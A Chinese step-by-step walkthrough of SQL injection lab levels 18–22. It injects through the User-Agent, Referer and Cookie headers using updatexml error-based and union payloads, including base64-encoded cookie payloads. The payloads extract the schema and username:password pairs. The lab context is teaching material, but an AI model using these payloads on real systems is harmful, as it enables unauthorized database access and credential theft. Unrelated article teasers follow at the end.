【sql靶场】第18-22关-htpp头部注入保姆级教程
目录
【sql靶场】第18-22关-htpp头部注入保姆级教程
1.回顾知识
1.http头部
2.报错注入
2.第十八关
1.尝试
2.爆出数据库名
3.爆出表名
4.爆出字段
5.爆出账号密码
3.第十九关
4.第二十关
5.第二十一关
6.第二十二关
【sql靶场】第18-22关-htpp头部注入保姆级教程
1.回顾知识
1.http头部
HTTP请求头部有一些常用的字段,这些字段提供了关于请求的详细信息,以及客户端和服务器之间的交互方式。下面是一些常见的HTTP请求头部字段:
- User-Agent:这个头部字段提供了关于发送请求的应用程序或浏览器的信息。它通常包括应用程序的名称、版本和使用的操作系统等信息。例如,User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36。
- Accept:这个头部字段指定客户端能够处理的数据类型,例如文本、HTML、图片、音频等。通过这个字段,服务器可以了解客户端支持的内容格式,并相应地返回数据。
- Accept-Language:这个头部字段指定客户端接受的语言类型和优先级。例如,Accept-Language: en-US,en;q=0.5。这有助于服务器返回与客户端语言偏好匹配的内容。
- Cookie:这个头部字段用于在客户端和服务器之间传递会话信息。Cookie通常用于保存用户的登录状态、购物车内容等。服务器通过读取Cookie头部字段中的值,可以识别用户或恢复会话状态。
- Host:这个头部字段指定要访问的服务器地址。对于DNS解析后的域名或IP地址,服务器可以使用Host头部来找到相应的资源。例如,Host: www.example.com。
- Referer:这个头部字段指定请求来源网页的URL。当用户从一个网页跳转到另一个网页时,浏览器会发送Referer头部,以便服务器知道原始页面的来源。
- Authorization:这个头部字段用于向服务器提供身份验证信息,例如Bearer token或Basic authentication。当用户需要登录或授权访问特定资源时,浏览器会发送包含身份验证信息的Authorization头部。
2.报错注入
1.报错注入深解
有则利用报错显示进行注入,让报错里面携带所需的查询信息
可以通过列数不同进行判断是否有报错,但是报错注入一般是让报错函数通过构造非法XPath表达式强制触发数据库解析错误,其核心原理与字段数无关,原因是字段数不匹配错误发生在 结果集构造阶段(如 UNION 前后字段数不一致)报错注入的异常发生在 条件解析阶段(如XPath解析失败),早于结果集生成,无论主查询返回3个字段还是其他数量,条件逻辑仅影响数据过滤,不涉及字段数对比
2.报错注入格式
一般是通过updatexml与 extractvalue进行构造非法XPath表达式
?id=1' and updatexml(1,concat(0x7e,(子查询语句),0x7e),1)--+
?id=1' and extractvalue(1,concat(0x7e,(子查询语句),0x7e))--+
3.使用的函数
concat:将同一行中多个字段的值拼接为单个字符串,适用于单行多列数据的合并
group_concat:某一列的数据聚合,适用于单列多行数据的合并
两个可以组合使用----每次先将行中的两个字段进行拼接成字符串再进行列的每行数据聚合
GROUP_CONCAT(CONCAT(col1, col2))
区别:
concat适用于需要精准提取特定行数据的场景(如管理员账号)。需多次请求,效率较低
group_concat单次请求获取数据,但需手动拼接分片结果。适用于快速批量泄露(如全表用户密码)
问题:
在利用 updatexml 进行报错注入时,可能会因为查询结果因长度限制显示不全,可通过以下两种方法解决:mid()或 substr()分片截取数据,规避 updatexml() 的32字符长度限制
使用的语法:
limit 0,1:从第0行开始,获取1条数据。逐次修改起始位置(如 limit 1,1、limit 2,1)遍历所有记录
substr(string, start, length):从字符串第1位开始截取31个字符(因报错信息最大长度约32字符),
逐次修改 start 参数(如 32、63)循环获取后续内容。
mid(string, start, length):从字符串第1位开始截取31个字符(因报错信息最大长度约32字符),
逐次修改 start 参数(如 32、63)循环获取后续内容。
区别:
substr(string, start, length) 和mid(string, start, length) 均用于截取字符串的指定部分,两者语法和功能完全一致,但是一般使用 mid(),功能相同但兼容性更佳,可无缝替代 substr避免潜在语法冲突。
| 特性 | concat + limit | group_concat + substr/mid |
|---|---|---|
| 数据范围 | 单行数据 | 多行聚合数据 |
| 输出格式 | 单条记录(如 user~pass) | 多条记录合并(如 user1~pass1,user2~pass2) |
| 注入效率 | 需多次请求遍历数据 | 单次请求获取多行数据 |
| 长度限制处理 | 直接适配单行输出长度 | 需通过 substr 分段截取避免超长截断 |
2.第十八关
1.尝试
在这里的输入框分别进行单引号双引号测试,不行
同时输入账号密码再在其中一个里面进行注入测试,不行
尝试输入正确账号,随机密码进行注入测试,不行
输入正确账号密码,再在输入框进行注入,不行
输入正确账号密码,不注入,看页面,结果出现了http头部的User-Agent信息,既然会有User-Agent信息打印出来,我们就可以尝试能不能进行注入,进行抓包修改User-Agent,进行注入

发现在User-Agent上修改,会有报错返回

那既然有报错返回,我们就可以尝试进行报错注入
2.爆出数据库名
第一次尝试
a' and updatexml(1,concat(0x7e,(select database()),0x7e),1) #

但是没有成功报错注入,而是又报错了sql语句错误,在注释符那里,很多时候都会有过滤注释符,最好使用and '1'='1;我比较懒就直接使用了注释符#,我们尝试使用and '1'='1
a' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1

结果成功了注入出来数据库名
3.爆出表名
然后同样进行注入表名
a' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) and '1'='1

结果报错截断不正确的double值a
我觉得可能是and的问题,因为and必须都为真,于是改为了or
a' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) and '1'='1

结果依然报错
我就尝试将前面的字符a删除,但是我想尝试and可不可以,毕竟前面没有值了
' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) and '1'='1

结果虽然不会报错了,但是也没有了报错注入返回
于是使用or
' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) and '1'='1

最终成功注入出来了
但是我后面又想到既然是截断不正确的double值,浮点数数据类型,用于表示带有小数部分的数值,那我不使用英文字符了,使用数字字符了
1' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) and '1'='1

结果果然没有报错了,但是报错注入的返回也没有了,那这样可能是因为截断了正确的double值,而使用了or,只需要其中一个为真就好,后面的报错注入直接不看了导致的,那么我又使用回and
1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) and '1'='1

结果果然也可以爆出表名
4.爆出字段
' or updatexml(1,concat(0x7e,mid((select group_concat(column_name) from information_schema.columns where table_schema= 'security' and table_name='users'),1,30),0x7e),1) and '1'='1

5.爆出账号密码
' or updatexml(1,concat(0x7e,(select substr((group_concat(username,0x3a,password)),1,32) from users),0x7e),1) and '1'='1

3.第十九关
这一关爆出http头部的Referer字段信息,除了注入位置不愿意,剩下的与十八关基本一样

4.第二十关
这一关爆出http头部的Cookie字段信息
然后我们可以看到这里将用户名与密码和id都显出来了,我们可以利用这个测试回显位置进行注入

放掉第一个包

用第二个包

测试字段
' order by 4#
报错了,说明可以用报错注入,与十八、十九关操作基本一样,但是这一关有回显就不用这么麻烦,发现字段不是4
' order by 3#
没有报错,则是三
测试回显
' union select 1,2,3#

发现全部回显,id为1,name为2,password为3,进行注入
爆出数据库名
' union select 1,2,database()#

爆出全部
这里为了方便就不一条一条爆出来了,直接用三个回显爆出全部信息,一般来说要一个一个来,因为你知道数据库名,但是不知道表名,不知道表名就不知道字段,不知道字段就不能爆出账号密码
' union select (select group_concat(table_name) from information_schema.tables where table_schema='security'),(select group_concat(column_name) from information_schema.columns where table_schema= 'security' and table_name='users'),(select group_concat(concat_ws(0x3a,username,password)) from users)#

5.第二十一关
这一关与第二十关十分相似,但是又有所不同
首先登入看页面,发现也是Cookie字段信息
结果发现语句name在打印里面还变成了一串奇怪语句

我们去后端查看
if($row1){echo '<font color= "#FFFF00" font size = 3 >';setcookie('uname', base64_encode($row1['username']), time()+3600); echo "I LOVE YOU COOKIES";echo "</font>";echo '<font color= "#0000ff" font size = 3 >'; //echo 'Your Cookie is: ' .$cookee;echo "</font>";echo "<br>";print_r(mysql_error()); echo "<br><br>";echo '<img src="../images/flag.jpg" />';echo "<br>";header ('Location: index.php');}else{echo '<font color= "#0000ff" font size="3">';//echo "Try again looser";print_r(mysql_error());echo "</br>"; echo "</br>";echo '<img src="../images/slap.jpg" />'; echo "</font>"; }}
在里面我们可以看到有这么一句
setcookie('uname', base64_encode($row1['username']), time()+3600);
这一句使得我们注入的语句要进行base64编码才能够注入
进行编码
') union select 1,2,database()#


报错了,查看报错发现是闭合方式错误,改成')闭合

这里为了方便就不一条一条爆出来了,直接用三个回显爆出全部信息,一般来说要一个一个来,因为你知道数据库名,但是不知道表名,不知道表名就不知道字段,不知道字段就不能爆出账号密码
') union select (select group_concat(table_name) from information_schema.tables where table_schema='security'),(select group_concat(column_name) from information_schema.columns where table_schema= 'security' and table_name='users'),(select group_concat(concat_ws(0x3a,username,password)) from users)#

6.第二十二关
这一关闭合方式为",剩下的与第二十一关基本一样。
相关文章:
【sql靶场】第18-22关-htpp头部注入保姆级教程
目录 【sql靶场】第18-22关-htpp头部注入保姆级教程 1.回顾知识 1.http头部 2.报错注入 2.第十八关 1.尝试 2.爆出数据库名 3.爆出表名 4.爆出字段 5.爆出账号密码 3.第十九关 4.第二十关 5.第二十一关 6.第二十二关 【sql靶场】第18-22关-htpp头部注入保姆级教程…...
LabVIEW棉花穴播器排种自动监测系统
一、项目背景与行业痛点 1. 农业需求驱动 我国棉花主产区,种植面积常年超250万公顷,传统人工播种存在两大核心问题: 效率瓶颈:人均日播种面积不足0.5公顷,难以匹配规模化种植需求; 精度缺陷:人…...
【程序人生】成功人生架构图(分层模型)
文章目录 ⭐前言⭐一、根基层——价值观与使命⭐二、支柱层——健康与能量⭐三、驱动层——学习与进化⭐四、网络层——关系系统⭐五、目标层——成就与财富⭐六、顶层——意义与传承⭐外层:调节环——平衡与抗风险⭐思维导图 标题详情作者JosieBook头衔CSDN博客专家…...
golang开发支持onlyoffice的token功能
一直都没去弄token这块,想着反正docker run的时候将jwt置为false即可。 看了好多文章,感觉可以试试,但是所有文件几乎都没说思路。 根据我的理解和成功的调试,思路是: 我们先定义2个概念,一个是文档下载…...
Qt for WebAssembly程序中文乱码问题处理过程
一、环境 操作系统DeepinV23 Qt版本6.8.2 编程语言C 二、问题现象 Qt for WebAssembly应用在浏览器页面上英文字母显示正常,中文显示为乱码。 经测试分析原因为默认字体不能正常显示汉字。 三、处理过程 1.准备中文字体文件 从Windows下复制宋体简体字体文件…...
速通大厂测开
最近26届暑期实习招聘和25届春招已经开始,测开学习圈也有同学拿到offer了 今天分享一位25届秋招圈友快速拿到大厂测开offer的经历,希望对大家有所帮助 我是某211本科生,在去年暑假准备考研的间隙意外收获了某大厂测开实习offer,…...
基于Netty实现高性能HTTP反向代理
以下将分步骤实现一个基于Netty的高性能HTTP反向代理,支持动态路由、负载均衡和基础鉴权功能。 1. 项目依赖配置(Maven) 2. 定义路由规则 3. 实现HTTP反向代理服务端 4. 实现反向代理处理器 5. 实现基础鉴权 6. 性能优化策略 连接池管理…...
Spring Boot集成MyBatis与MySQL
Spring Boot集成MyBatis与MySQL开发全攻略 一、前言:现代Java持久层开发的选择 在微服务架构盛行的今天,Spring Boot以其"约定优于配置"的理念成为Java开发的事实标准。结合MyBatis这一灵活高效的ORM框架和MySQL这一成熟稳定的关系型数据库&…...
【NLP 37、实践 ⑨ NER 命名实体识别任务 LSTM + CRF 实现】
难过的事情我要反复咀嚼,嚼到它再也不能困扰我半分 —— 25.3.13 数据文件: 通过网盘分享的文件:Ner命名实体识别任务 链接: https://pan.baidu.com/s/1fUiin2um4PCS5i91V9dJFA?pwdyc6u 提取码: yc6u --来自百度网盘超级会员v3的分享 一、配…...
再学:函数可见性、特殊函数、修饰符
目录 1.可见性 2.合约特殊函数 constructor && getter 3. receive && fallback 4.view && pure 5.payable 6.自定义函数修饰符 modifier 1.可见性 public:内外部 private:内部 external:外部访问 internal&…...
基于Spring Boot的项目申报系统的设计与实现(LW+源码+讲解)
专注于大学生项目实战开发,讲解,毕业答疑辅导,欢迎高校老师/同行前辈交流合作✌。 技术范围:SpringBoot、Vue、SSM、HLMT、小程序、Jsp、PHP、Nodejs、Python、爬虫、数据可视化、安卓app、大数据、物联网、机器学习等设计与开发。 主要内容:…...
Web元件库 ElementUI元件库+后台模板页面(支持Axure9、10、11)
Axure是一款非常强大的原型设计工具,它允许设计师和开发者快速创建高保真原型,以展示应用或网站的设计和功能。通过引入各种元件库,如ElementUI元件库,可以极大地丰富Axure的原型设计能力,使其更加贴近实际开发中的UI组…...
若依excel工具类导出excel模板数据带下拉映射
导出模板代码,原理是combo属性 传递一个数组 里面是label下拉数组。 Overridepublic void downloadTemplate(HttpServletResponse response) {ExcelUtil<ThMachineryManageExcel> util new ExcelUtil<>(ThMachineryManageExcel.class);List<SysDist…...
孜然SEO静态页面生成系统V1.0
孜然SEO静态页面生成系统,1秒生成上万个不同的静态单页系统,支持URL裂变采集,采集的内容不会重复,因为程序系统自带AI重写算法,AI扩写算法,可视化的蜘蛛池系统让您更清楚的获取到信息! 可插入二…...
Python爬虫-爬取汽车之家燃油车月销量榜数据
前言 本文是该专栏的第48篇,后面会持续分享python爬虫干货知识,记得关注。 在本文中,笔者已整理18篇汽车平台相关的爬虫项目案例。对此感兴趣的同学,可以直接翻阅查看。 而本文,笔者将以汽车之家平台为例子。基于Python爬虫,实现批量爬取全部“燃油车”的月销量数据。废…...
Blender-MCP服务源码3-插件开发
Blender-MCP服务源码3-插件开发 Blender-MCP服务源码解读-如何进行Blender插件开发 1-核心知识点 1)使用Blender开发框架学习如何进行Blender调试2)学习目标1-移除所有的Blender业务-了解如何MCP到底做了什么?3)学习目标2-模拟MC…...
C语言和C++到底有什么关系?
C 读作“C 加加”,是“C Plus Plus”的简称。 顾名思义,C 就是在 C 语言的基础上增加了新特性,玩出了新花样,所以才说“Plus”,就像 Win11 和 Win10、iPhone 15 和 iPhone 15 Pro 的关系。 C 语言是 1972 年由美国贝…...
【华三】路由器交换机忘记登入密码或super密码的重启操作
【华三】路由器交换机忘记登入密码或super密码的重启操作 背景步骤跳过认证设备:路由器重启设备翻译说明具体操作 跳过当前系统配置重启设备具体操作 背景 当console口的密码忘记,或者说本地用户的密码忘记,其实这时候是登入不了路由器的&am…...
DeepSeek-prompt指令-当DeepSeek答非所问,应该如何准确的表达我们的诉求?
当DeepSeek答非所问,应该如何准确的表达我们的诉求?不同使用场景如何向DeepSeek发问?是否有指令公式? 目录 1、 扮演专家型指令2、 知识蒸馏型指令3、 颗粒度调节型指令4、 时间轴推演型指令5、 极端测试型6、 逆向思维型指令7、…...
HOVER:人形机器人的多功能神经网络全身控制器
编辑:陈萍萍的公主一点人工一点智能 HOVER:人形机器人的多功能神经网络全身控制器HOVER通过策略蒸馏和统一命令空间设计,为人形机器人提供了通用、高效的全身控制框架。https://mp.weixin.qq.com/s/R1cw47I4BOi2UfF_m-KzWg 01 介绍 1.1 摘…...
HTML中滚动加载的实现
设置div的overflow属性,可以使得该div具有滚动效果,下面以div中包含的是table来举例。 当table的元素较多,以至于超出div的显示范围的话,观察下该div元素的以下3个属性: clientHeight是div的显示高度,scrol…...
Python----计算机视觉处理(Opencv:形态学变换)
一、形态学变化 形态学变换(Morphological Transformations)是一种基于形状的图像处理技术,主要处理的对象为二值化图像。 形态学变换有两个输入和一个输出:输入为原始图像和核(即结构化元素),输…...
opencv中stitch图像融合
openv版本: opencv249 vs :2010 qt : 4.85 #include "quanjing.h"#include <iostream> #include <opencv2/core/core.hpp> #include <opencv2/highgui/highgui.hpp> #include <opencv2/imgproc/imgproc.hpp> #include <open…...
redis十大应用数据类型具体使用及其应用
Redis 提供了多种数据类型,每种数据类型都有其特定的应用场景。下面是 Redis 十大应用数据类型的具体使用及其应用场景: 1. 字符串 (String) 描述:Redis 中最基本的数据类型,用于存储简单的字符串数据。字符串可以是文本、数字&a…...
HTML 中如何设置页面的语言,这对 SEO 和无障碍访问有什么影响?
大白话HTML 中如何设置页面的语言,这对 SEO 和无障碍访问有什么影响? 1. HTML 中设置页面语言的方法 在 HTML 里,你可以借助 <html> 标签的 lang 属性来设定页面的语言。lang 属性的值是一个符合 ISO 639 - 1 标准的双字母语言代码&a…...
matlab R2024b下载教程及安装教程(附安装包)
文章目录 前言一、matlab R2024b安装包下载二、matlab R2024b安装教程 前言 为帮助大家顺利安装该版本软件,特准备matlab R2024b下载教程及安装教程,它将以简洁明了的步骤,指导你轻松完成安装,开启 MATLAB R2024 的强大功能之旅。…...
游戏引擎学习第167天
回顾和今天的计划 我们不使用引擎,也不依赖库,只有我们自己和我们的小手指在敲击代码。 今天我们会继续进行一些工作。首先,我们会清理昨天留下的一些问题,这些问题我们当时没有深入探讨。除了这些,我觉得我们在资产…...
JS逆向案例-HIKVISION-视频监控的前端密码加密分析
免责声明 本文仅为技术研究与渗透测试思路分享,旨在帮助安全从业人员更好地理解相关技术原理和防御措施。任何个人或组织不得利用本文内容从事非法活动或攻击他人系统。 如果任何人因违反法律法规或不当使用本文内容而导致任何法律后果,本文作者概不负责。 请务必遵守法律…...
STM32---FreeRTOS内存管理实验
一、简介 1、FreeRTOS内存管理简介 2、FreeRTOS提供的内存管理算法 1、heap_1内存管理算法 2、heap_2内存管理算法 4、heap_4内存管理算法 5、heap_5内存管理算法 二、FreeRTOS内存管理相关API函数介绍 三、 FreeRTOS内存管理实验 1、代码 main.c #include "st…...
KNN算法性能优化技巧与实战案例
KNN算法性能优化技巧与实战案例 K最近邻(KNN)在分类和回归任务中表现稳健,但其计算复杂度高、内存消耗大成为IT项目中的主要瓶颈。以下从 算法优化、数据结构、工程实践 三方面深入解析性能提升策略,并附典型应用案例。 一、核心性…...
